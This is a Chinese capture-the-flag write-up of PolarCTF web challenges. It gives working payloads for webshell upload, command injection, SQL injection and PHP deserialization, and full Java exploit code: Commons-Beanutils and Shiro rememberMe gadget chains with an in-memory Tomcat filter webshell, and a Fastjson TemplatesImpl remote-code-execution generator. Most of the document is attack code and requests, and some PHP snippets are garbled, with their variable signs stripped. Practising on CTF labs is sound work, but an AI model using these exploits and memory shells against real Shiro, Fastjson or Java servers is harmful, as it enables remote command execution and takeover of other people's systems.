PolarCTF WEB 题解(03)
upload
100 分 1 Polar币
上传木马, 双写绕过改名,mm.phphpp
干正则
100 分 1 Polar币
?id=a[]%3Dwww.polarctf.com%26a[]%3Dwww.polarctf.com%26a[]%3Dwww.baidu.com&cmd=;ls
?id=a[]%3Dwww.polarctf.com%26a[]%3Dwww.polarctf.com%26a[]%3Dwww.baidu.com&cmd=;ls;cat fla*|base64;
苦海
500 分 5 Polar币
unserialize()
│
└─▶ User::__wakeup()
│
└─▶ User::printName()
│
└─▶ 访问 name (Surrender对象)
│
└─▶ Surrender::__toString()
│
└─▶ 访问file[‘filename’]->content (触发__get)
│
└─▶ FileRobot::__get()
│
└─▶ 调用 path() (触发__invoke)
│
└─▶ FileRobot::__invoke()
│
└─▶ FileRobot::Get_file(‘flag.php’)
“`PHP
<?php
class User {
publicname;
public flag;
}
class Surrender {
privatephone = 110;
public promise;
publicfile; // 动态添加的关键属性
}
class FileRobot {
public filename;
publicpath;
}
// 构造利用链
fileRobot = new FileRobot();fileRobot->filename = '../flag.php'; // 目标文件(上一目录)
fileRobot->path =fileRobot; // 指向自身触发__invoke
surrender = new Surrender();surrender->file = ['filename' => fileRobot]; // 触发FileRobot::__getuser = new User();
user->name =surrender; // 触发Surrender::__toString
// 生成序列化payload
payload = serialize(user);
// URL编码并输出payload
echo "URL编码后的Payload:\n";
echo urlencode(payload) . "\n\n";
// 原始payload(含不可见字符,复制时需注意)
echo "原始Payload:\n";
echopayload;
?>
“`
URL编码后的Payload:
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A3%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3BN%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3Br%3A6%3B%7D%7D%7Ds%3A4%3A%22flag%22%3BN%3B%7D
原始Payload:
O:4:”User”:2:{s:4:”name”;O:9:”Surrender”:3:{s:16:”Surrenderphone”;i:110;s:7:”promise”;N;s:4:”file”;a:1:{s:8:”filename”;O:9:”FileRobot”:2:{s:8:”filename”;s:11:”../flag.php”;s:4:”path”;r:6;}}}s:4:”flag”;N;}
你想逃也逃不掉
500 分 5 Polar币
a:3:{s:8:”username”;s:10:”aaaaaaaaaaphtmlphtmlphtmlphtml”;s:6:”passwd”;s:12:”bbbbbbbbbbbb”;s:4:”sign”;s:6:”123456″;}
a:3:{s:8:”username”;s:55:”aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4″;s:6:”passwd”;s:58:”bbbbbbbbbbbbphtmlphtmlphtmlphtmlphtmlphtmlphp4php4php4php4″;s:4:”sign”;s:6:”123456″;}
a:3:{s:8:”username”;s:55:”aaaaaaaaaa”;s:6:”passwd”;s:58:”bbbbbbbbbbbbp”;s:4:”sign”;s:6:”123456″;}
user[‘username’] = ‘aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4’;user[‘passwd’] = ‘bbbbbbbbbbbbbbbbbbbbbbbb”:bbbbbp”;s:6:”passwd”;s:5:”123456″;4:”sign”;s:6:”ytyyds”;}cccccc’;
user[‘sign’] = ‘123456’;
a:3:{s:8:”username”;s:55:”aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4″;s:6:”passwd”;s:89:”bbbbbbbbbbbbbbbbbbbbbbbb”:bbbbbp”;s:6:”passwd”;s:5:”123456″;4:”sign”;s:6:”ytyyds”;}cccccc”;s:4:”sign”;s:6:”123456″;}user[‘username’] = ‘aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4’;
user[‘passwd’] = ‘bbbbbbbbbbbbbbbbbbbbbbbb”;s:6:”passwd”;s:6:”123456″;4:”sign”;s:6:”ytyyds”;}cccccc’;user[‘sign’] = ‘123456’;
name=aaaaaaaaaaphtmlphtmlphtmlphtmlphtmlphp4php4php4php4php4
?passwd=bbbbbbbbbbbbbbbbbbbbbbbb”;s:6:”passwd”;s:0:””;s:4:”sign”;s:6:”ytyyds”;}
user->username=’phtmlphtmlphtmlphtml’;user->passwd=’;s:6:”passwd”;s:0:””;s:4:”sign”;s:6:”ytyyds”;}’;
原始Payload:
a:3:{s:8:”username”;s:20:”phtmlphtmlphtmlphtml”;s:6:”passwd”;s:46:”;s:6:”passwd”;s:0:””;s:4:”sign”;s:6:”ytyyds”;}”;s:4:”sign”;s:6:”123456″;}
a:3:{s:8:”username”;s:20:””;s:6:”passwd”;s:46:”;s:6:”passwd”;s:0:””;s:4:”sign”;s:6:”ytyyds”;}”;s:4:”sign”;s:6:”123456″;}
你的马呢?
300 分 3 Polar币
base64 –> PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4
uploads/bas64.jpg
/index.php?file=uploads/bas64.jpg
/index.php?file=php://filter/convert.base64-decode/resource=uploads/bas64.jpg
pass=system(“cat /flag.txt”);
ezphp
300 分 3 Polar币
/robots.txt
/uploads/upload.php
上传png木马
/file/file.php?filename=../uploads/images/mm.png
ome/webuser >ls -ltr
total 4
-rw-r–r– 1 root root 438 Nov 23 2023 flag
/home/webuser >cat flag
随机值
300 分 3 Polar币
<?php
class Index{
private Polar1 = 1;
privatePolar2 = 1;
protected Night = 1;
protectedLight = 1;
function getflag(flag)
{Polar2 = rand(0, 100);
if (this->Polar1 ===this->Polar2) {
Light = rand(0, 100);
if (this->Night === this->Light) {
echoflag;
}
} else {
echo "Your wrong!!!";
}
}
}
a = new Index();
echo urlencode(serialize(a));
echo "\n";
echo serialize($a);
?>
O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A1%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A1%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A1%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A1%3B%7D
O:5:”Index”:4:{s:13:”IndexPolar1″;i:1;s:13:”IndexPolar2″;i:1;s:8:”Night”;i:1;s:8:”Light”;i:1;}
safe_include
500 分 5 Polar币
?xxs=
find sessionid
?xxs=/tmp/sess_37iqjv73dcegi3odqe3bqrmi46
pass=system(“ls”);
phpurl
300 分 3 Polar币
urlecode twice:xxs
/index.php?sys=%25%37%38%25%37%38%25%37%33
cool
100 分 1 Polar币
?a=passthru(“cat fla*”);
CB链
500 分 5 Polar币
【2023冬季个人挑战赛】
下载CB.jar
下载ysoserial, IDEA中打开工程,
在/src/main/java/ysoserial目录下创建cd目录,
将CB.jar放到该目录下,选择,点击邮件,Add as library.
则可以看到源码了。
展开,看
META-INF\maven.rg.example.PolarCTF_CB\pom.xml
存在:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
在cb下写
不出网利用(动态类加载)首先需要简单改造一下ysoserial定义一个类加载器:MyClassLoader
Exp2.java Poc2.jave MyClassLoader.java
然后在ysoserial.payloads.util包的Gadgets类中照着原有的createTemplatesImpl方法添加一个createTemplatesImpl(Class c),参数即为我们要让服务端加载的类,如下直接将传入的c转换为字节码赋值给了_bytecodes
public class Gadgets {
。。。。
public static <T> T createTemplatesImpl(Class c) throws Exception {
Class<T> tplClass = null;
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
}else{
tplClass = (Class<T>) TemplatesImpl.class;
}
final T templates = tplClass.newInstance();
final byte[] classBytes = ClassFiles.classAsBytes(c);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes
});
Reflections.setFieldValue(templates, "_name", "Pwnr");
return templates;
}
}
Poc2.java
package ysoserial.cb;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.util.Base64;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
public class Poc2 {
public static void main(String[] args) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(MyClassLoader.class);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
}
Exp2.java
package ysoserial.cb;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;
public class Exp2 implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("Polar-CMD");
System.out.println(cmd);
if (cmd != null) {
//System.out.println("1");
response.setHeader("Polar-START", "OK");
// 使用 ProcessBuilder 执行命令
Process process = new ProcessBuilder(cmd.split("\\s+"))
.redirectErrorStream(true)
.start();
//System.out.println("2");
// 获取命令执行的输入流
InputStream inputStream = process.getInputStream();
// 使用 Java 8 Stream 将输入流转换为字符串
String result = new BufferedReader(new InputStreamReader(inputStream))
.lines()
.collect(Collectors.joining(System.lineSeparator()));
System.out.println("3");
response.setHeader("Polar-RESULT",result);
} else {
filterChain.doFilter(request, response);
}
}
public boolean equals(Object obj) {
Object[] context=(Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[0];
try {
dynamicAddFilter(new Exp2(),"Shell","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return true;
}
public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
javax.servlet.ServletContext servletContext=request.getServletContext();
if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext =null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;
try {
contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(name, filter);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){
}finally {
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
}
}
}
运行Poc2.main(),得到/user?user=xxxx (要URL编码一下,只特殊字符转换)
“`class -> bytes
cat Exp2.class |base64|sed ':label;N;s/\n//;b label'
<pre><code class="line-numbers">构造完的请求包为,期中user后面的参数为Poc2运行出来的payload,
classData为Exp.class2文件中读出来的base64。
这个发现一个问题,windows和linux下不一样,还是不要用为好,直接给出java转换好了:
“`java
package ysoserial.cb;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class ClassData {
public static void main(String[] args) {
String payload = null;
try{
byte[] bytes = Files.readAllBytes(Paths.get(“D:\\ctf\\workspace\\javaprj\\ysoserial\\target\\classes\\ysoserial\\cb\\Exp2.class”));
payload = Base64.getEncoder().encodeToString(bytes);
}catch (IOException e){
e.printStackTrace();
}
System.out.println(payload);
}
}
运行ClassData.main(),得到 classData=yyyyy (要URL编码一下,只特殊字符转换)
本地调试 CB.jar 报错:
2025-10-07 13:17:26.677 ERROR 73424 --- [nio-8090-exec-6] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.RuntimeException: IllegalAccessException: java.lang.IllegalAccessException: class org.apache.commons.beanutils.PropertyUtilsBean cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @3b6eb2ec] with root cause
java.lang.RuntimeException: IllegalAccessException: java.lang.IllegalAccessException: class org.apache.commons.beanutils.PropertyUtilsBean cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @3b6eb2ec
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:168) ~[commons-beanutils-1.9.2.jar!/:1.9.2]
at java.base/java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:712) ~[na:na]
Explain:
在Java中,java.xml 不是一个标准的模块名称,这可能是你遇到的一个混淆点。实际上,Java中处理XML的库通常是通过javax.xml包来访问的,这是Java标准库的一部分。如果你在尝试使用与XML相关的功能时遇到了“module java.xml does not export”这样的错误,这通常是因为你正在使用Java 9或更高版本,这些版本引入了模块系统(也称为JPMS,即Java Platform Module System)。
原来是用的java版本太高,换成
D:\Java\jdk1.8.0_351\bin\java -Dserver.port=8090 -jar CB.jar > 1.log 2>&1
Post :
POST /user?user=rO0ABXNyABdqYXZhLnV.......AACQAC9wDfBwBTDAACAFQAAAACAFUAqAAAAAoAAQBvAG0ApwAJcHQABFB3bnJwdwEAeHEAfgANeA%3d%3d HTTP/1.1
Host: 0d498319-9258-4037-a312-af728e891d3f.www.polarctf.com:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encode: gzip, delflate
Accept-Language: zh-CN,zh;q=0.9
Polar-CMD: cat flag
Content-Length: 8486
classData=yv66vgAAADQB........AcAcgcAcgcAbwcAlQAAAFcAAAAEAAEAKgACAJwAAAACAJ0AjAAAAAoAAQCKAPAAiwYJ
Polar-CMD: ls
Polar-CMD: cat flag
phar
500 分 5 Polar币
?file=php://filter/convert.base64-encode/resource=funs.php
结果注意如何拷贝齐全,要完整输出里取拷贝
cat 1.txt|base64 -d > 2.txt
发现反序列化漏洞:构造pop链
A::_destruct->B::_tostring->_get
https://www.bejson.com/runcode/php/
<?php
class A
{
public a;
public function __construct()
{this->a=new B();//触发_tostring
}
}
class B
{
public b = array();
public function __construct()
{this->b=array("kfc"=>new C());//触发_get
}
}
class C{
public c = array();
public function __construct()
{this->c=array("vm50"=>"flag");//变量覆盖flag
}
}
A=new A();
echo urlencode(serialize(A));
?>
O%3A1%3A%22A.....
?file=f1@g&data=O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3Ba%3A1%3A%7Bs%3A3%3A%22kfc%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A1%3A%22c%22%3Ba%3A1%3A%7Bs%3A4%3A%22vm50%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D
PHP_Deserialization
500 分 5 Polar币
发现反序列化漏洞:构造pop链
构造链子:
反序列化:提交Payload触发Polar::__wakeup。
反序列化触发:Polar::__wakeup调用night->hacker(night_arg)。
魔术方法调用:Night::__call处理不存在的方法hacker,参数$night_arg是Day对象。
字符串转换:将Day对象转为字符串触发Day::__toString。
文件读取绕过:filename设置为/flflagag,替换后得到/flag,成功读取目标文件。
https://www.bejson.com/runcode/php/
<?php
class Polar {
public night;
publicnight_arg;
}
class Night {}
class Day {
public filename = "/flflagag"; // 关键
}day = new Day();
night = new Night();polar = new Polar();
polar->night =night;
polar->night_arg =day;
serialized = serialize(polar);
payload = base64_encode(serialized);
echo $payload;
?>
polar=Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319
PolarOA
500 分 5 Polar币
java Siron 反序列化漏洞
登录,例如a,a ,抓包,看到响应中有:
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0;
运行shiro_attach
d:\java\jdk1.8.0_351\bin\java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
爆破得到密钥:
[++] 存在shiro框架!
[++] 找到key:kPH+bIxk5D2deZiIxcaaaA==
[+] 爆破结束
[-] 测试:CommonsBeanutilsString 回显方式: TomcatEcho
但利用链爆破不出来,因为对cookie长度限制了。
<!-- PolarOA -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
DynamicClassGenerator.java
package ysoserial.polaror;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;
public class DynamicClassGenerator {
public static CtClass genPayloadForWin() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
String s= "public SpringEcho() throws Exception {\n" +
" try{\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\",te);\n" +
" String tc = httprequest.getHeader(\"CMD\");\n" +
" if ( tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"/cmd.exe\",\"/c\",tc};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" } catch (Exception e) {\n" +
" e.getStackTrace();\n" +
" }\n" +
" }";
clazz.addConstructor(CtNewConstructor.make(s, clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static CtClass genPayloadForLinux() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
String s= "public SpringEcho() throws Exception {\n" +
" try{\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\",te);\n" +
" String tc = httprequest.getHeader(\"CMD\");\n" +
" if ( tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"/bin/sh\",\"-c\",tc};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" } catch (Exception e) {\n" +
" e.getStackTrace();\n" +
" }\n" +
" }";
clazz.addConstructor(CtNewConstructor.make(s, clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"CMD\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static CtClass genPayloadForLinuxExec(String cmd) throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exe");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public SpringEco() throws Exception {\n" +
" try {\n" +
" String tc = \"" + cmd + "\";\n" +
" String[] cmd = new String[]{\"/bin/bash\", \"-c\", tc};\n" +
" new ProcessBuilder(cmd).start();\n" +
" }catch (Exception e){\n" +
" e.getStackTrace()\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static TemplatesImpl getTemplate() throws Exception {
CtClass clz = genPayloadForLinux2();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
Poc.java
package ysoserial.polaror;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;
import static ysoserial.payloads.util.Reflections.setFieldValue;
public class Poc {
public static void main(String[] args) throws Exception {
final com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate();
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 生成序列化字符串
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//替换为爆破的新shiro密钥
byte[] bytes = byteArrayOutputStream.toByteArray();
// System.out.println(aes.encrypt(bytes, key));
ByteSource chiphertext;
chiphertext = aes.encrypt(bytes, key);
System.out.println(chiphertext);
}
public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate() throws Exception {
DynamicClassGenerator classGenerator = new DynamicClassGenerator();
CtClass clz = classGenerator.genPayloadForLinux();
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
}
Send Get request:
注意:cookie数据不要url转码,开始转码,导致报错了,原样就好了。
GET / HTTP/1.1
Host: 7f5d0c2b-98bf-427b-93a5-b38d7a727996.www.polarctf.com:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
CMD: cat flag
Cookie: rememberMe=HGTgdxhepEbYYVMdfHhblr0LkKaagOIku8ZaK76HqsBKSTXBE3e1qBITl93ijDGtQStMyk9qTxAB/Hoei5sRmIc+vpokmXl1scwwIIFLl6k6HtjtOxi98gaQuxiSPzRv7FFpXIgK+GJ+MA= <--BU-YAO-URL-TRANS--
search
300 分 3 Polar币
【2024春季个人挑战赛】
query=1'/**/or/**/1=1#
query=1'/**/uNion/**/Select/**/1,2,3,4,5#
query=1'/**/uNion/**/Select/**/1,group_concat(Flag),3,4,5/**/From/**/Flag#
Fastjson
500 分 5 Polar币
【2024春季个人挑战赛】
shell2.java
package ysoserial.fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell2 extends AbstractTranslet {
public Shell2(){
try {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = new String[]{"sh", "-c", httprequest.getHeader("C")};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
httpresponse.getWriter().write(new String(result));
httpresponse.getWriter().flush();
httpresponse.getWriter().close();
}catch (IOException e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Gen payload
package ysoserial.fastjson;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Poc {
public static void main(String[] args) {
String shell = null;
try{
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf\\workspace\\javaprj\\ysoserial\\target\\classes\\ysoserial\\fastjson\\Shell2.class"));
shell = Base64.getEncoder().encodeToString(bytes);
}catch (IOException e){
e.printStackTrace();
}
String payload ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""
+shell
+"\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
System.out.println(payload);
}
}
or python
import base64
fin = open(r"Shell.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all"}'% fout
print(poc)
POST:
